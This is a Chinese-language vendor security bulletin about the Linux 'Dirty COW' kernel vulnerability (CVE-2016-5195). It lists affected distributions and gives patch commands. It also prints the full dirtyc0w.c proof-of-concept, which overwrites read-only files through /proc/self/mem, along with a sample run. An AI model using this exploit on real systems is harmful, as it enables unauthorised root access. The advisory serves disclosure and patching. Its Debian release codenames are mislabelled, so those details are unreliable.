安全社区

黑盾云安全社区,与你一起分享安全领域的知识与智慧

海峡信息急通告2016年第09号(脏牛漏洞)

安全研究2016-10-31 17:37:42 5246次围观

尊敬的海峡用户:
2016年10月20日,Linux内核团队修复一个存在长达9年的漏洞(编号:CVE-2016-5195),该漏洞被称为“脏牛”(DirtyCOW)。一个本地低权限的用户利用此漏洞可获取其他只读内存映射的写权限,有可能导致低权限用户权限的提升。

 
【漏洞描述】
 脏牛漏洞是Linux内核的内存子系统在处理写拷贝(Copy-on-Write)时存在条件竞争,可以破坏私有只读内存映射,导致低权限用户可提升至高权限用户。黑客可以通过入侵服务器获取低权限用户shell后,利用此漏洞可本地从普通帐号提升到root最高权限,控制整个操作系统,且利用该漏洞不会在系统日志里有所记录,此漏洞应引起特别的重视。
 
【受威胁对象】
内核版本>=2.6.22的所有Linux操作系统都有可能存在此漏洞,受影响的常用操作系统版本如下所示:
RHEL/CentOS 6.x  32位/64位
RHEL/CentOS 7.0  64位 
 
Debian 6.x  32位(官方已停止更新,建议使用Debian7、Debian8版本)
Debian 7.x  32位/64位
Debian 8.x  32位/64位
 
openSUSE 12.3 32位/64位
openSUSE 13.2 64位
 
SUSE Linux Enterprise Server 11 SP3 64位
SUSE Linux Enterprise Server 12 64位
 
Ubuntu Server 10.04.1 LTS 32位/64位(官方已停止更新,建议使用Ubuntu 14.04版本)
Ubuntu Server 12.04.1 LTS 32位/64位
Ubuntu Server 14.04.1 LTS 32位/64位
 
【测试方法】
1) 使用uname –a查看Linux系统的内核版本,内核版本>=2.6.22的存在此漏洞
# uname -a
2) 通过漏洞POC检测,测试步骤如下:
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
详细测试代码脚本“dirtyc0w.c”,如下
####################### dirtyc0w.c #######################*/
#include
#include
#include
#include
#include
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg){
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++){
    c+=madvise(map,100,MADV_DONTNEED);}
  printf("madvise %d\n\n",c);}
void *procselfmemThread(void *arg){
  char *str;
  str=(char*)arg;
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str)); }
  printf("procselfmem %d\n\n", c);
  }
int main(int argc,char *argv[]){
  if (argc<3)return 1;
  pthread_t pth1,pth2;
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;}
 
【修复方案】
漏洞升级前建议关闭系统业务,做好数据及程序的备份工作。升级后应重启Linux操作系统使之生效。主要的Linux发行版本升级方法如下:
  1. 1、RHEL/CentOS系统
执行如下语句:
    # yum check-update && yum update kernel
也可以从各开源镜像获取安全更新,如下所示:
RHEL/CentOS 6.x:
http://mirrors.aliyun.com/centos/6.8/updates/x86_64/Packages/
RHEL/CentOS 7.x:
http://mirrors.aliyun.com/centos/7.2.1511/updates/x86_64/Packages/


其他发行版本,都可根据类似的方法修复补丁
  1. 2、Ubuntu系统
# sudo apt-get update&&sudo apt-get upgrade
也可以从官方镜像获取安全更新
# Ubuntu 12.04 LTS (precise)
deb http://security.ubuntu.com/ubuntu/precise-security main
# Ubuntu 14.04 LTS (trusty)
deb http://security.ubuntu.com/ubuntu/trusty-security main
  1. 3、Debain系统
# sudo apt-get update&&sudo apt-get upgrade
也可以从官方镜像获取安全更新
# Debian 7 (jessie)
deb http://security.debian.org/ jessie/updates main
# Debian 8 (sid)                                                            
deb http://security.debian.org/ sid/updates main
  1. 4、SUSE Linux Enterprise Server系统
# zypperrefresh && zypper update kernel-default
(仅限购买SLES企业服务用户)
 
【参考资料】
https://dirtycow.ninja/?spm=0.0.0.0.EbwLNj
https://github.com/dirtycow
https://access.redhat.com/security/cve/cve-2016-5195
https://www.suse.com/security/cve/CVE-2016-5195.html
https://security-tracker.debian.org/tracker/CVE-2016-5195

上一篇: 海峡信息急通告2016年第10号(TRS Portal)

下一篇: 海峡信息多措并举做好G20峰会信息安全保障工作